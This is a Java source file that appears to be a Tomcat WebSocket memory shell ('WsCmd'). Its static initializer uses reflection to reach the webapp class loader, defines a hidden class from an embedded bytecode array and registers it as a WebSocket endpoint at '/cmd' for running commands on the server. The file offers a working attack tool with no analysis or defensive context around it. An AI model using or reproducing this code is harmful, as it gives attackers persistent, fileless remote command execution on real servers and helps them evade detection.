import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.websocket.server.WsServerContainer;
import javax.websocket.DeploymentException;
import javax.websocket.server.ServerContainer;
import javax.websocket.server.ServerEndpointConfig;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class WsCmd {
    static {
        try {
            String urlPath = "/cmd";
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources();
            if (standardroot == null){
                Field field;
                try {
                    field = webappClassLoaderBase.getClass().getDeclaredField("resources");
                    field.setAccessible(true);
                }catch (Exception e){
                    field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources");
                    field.setAccessible(true);
                }
                standardroot = (StandardRoot)field.get(webappClassLoaderBase);
            }
            StandardContext standardContext = (StandardContext) standardroot.getContext();
            ClassLoader cl = Thread.currentThread().getContextClassLoader();
            Class clazz;
            byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 49, 0, 118, 10, 0, 30, 0, 46, 8, 0, 47, 10, 0, 48, 0, 49, 10, 0, 8, 0, 50, 8, 0, 51, 10, 0, 8, 0, 52, 10, 0, 53, 0, 54, 7, 0, 55, 8, 0, 56, 8, 0, 57, 10, 0, 53, 0, 58, 8, 0, 59, 8, 0, 60, 10, 0, 61, 0, 62, 7, 0, 63, 10, 0, 15, 0, 46, 10, 0, 64, 0, 65, 10, 0, 15, 0, 66, 10, 0, 64, 0, 67, 10, 0, 61, 0, 68, 9, 0, 29, 0, 69, 11, 0, 70, 0, 71, 10, 0, 15, 0, 72, 11, 0, 73, 0, 74, 7, 0, 75, 10, 0, 25, 0, 76, 11, 0, 70, 0, 77, 10, 0, 29, 0, 78, 7, 0, 79, 7, 0, 80, 7, 0, 82, 1, 0, 7, 115, 101, 115, 115, 105, 111, 110, 1, 0, 25, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 9, 111, 110, 77, 101, 115, 115, 97, 103, 101, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 6, 111, 110, 79, 112, 101, 110, 1, 0, 60, 40, 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            Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            method.setAccessible(true);
            clazz = (Class) method.invoke(cl, bytes, 0, bytes.length);
            ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(clazz, urlPath).build();
            WsServerContainer container = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName());
            if (null == container.findMapping(urlPath)) {
                try {
                    container.addEndpoint(configEndpoint);
                } catch (DeploymentException e) {
                    e.printStackTrace();
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}